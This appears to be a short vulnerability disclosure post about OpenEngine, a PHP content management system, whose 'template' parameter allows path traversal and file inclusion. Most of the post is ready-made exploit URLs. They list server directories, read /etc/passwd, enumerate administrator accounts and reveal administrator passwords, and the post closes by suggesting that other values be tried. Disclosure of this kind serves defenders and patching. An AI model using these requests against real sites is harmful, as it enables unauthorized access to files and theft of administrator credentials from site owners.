OpenEngine is a PHP based CMS.

The parameter "template" is not correctly checked, for this you can include other scripts which will be interpreted.

All actual versions are vulnerable (up to 1.8 Beta 2, which is the newest one), only the paths and consequences differ.

For example you can browse the web server with

http://cmspath/website.php?template=../system/03_admin/edit/upload&site_
pool=/

or disclose any file (depending on rights) with

http://cmspath/website.php?template=../system/03_admin/edit/individual&i
nclude=/etc/passwd

I have tested these two examples on versions 1.8 Beta 2 and 1.7.1.

Version 1.6 shows you all administrators of the cms with

http://cmspath/website.php?template=../system/admin/accounts&action2=sea
rchaccounts&accounts_group=2

Now you know the account_key and can take a look at the chosen administrators password:

http://cmspath/website.php?template=../system/admin/accounts&action2=sea
rchaccounts&accounts_group=2&action=editaccount&accounts_lastname=&accou
nts_email=&accounts_group=2&account_key=<account_key>

Of course there are several other possibilities... just vary the parameter "template".

[ reply ]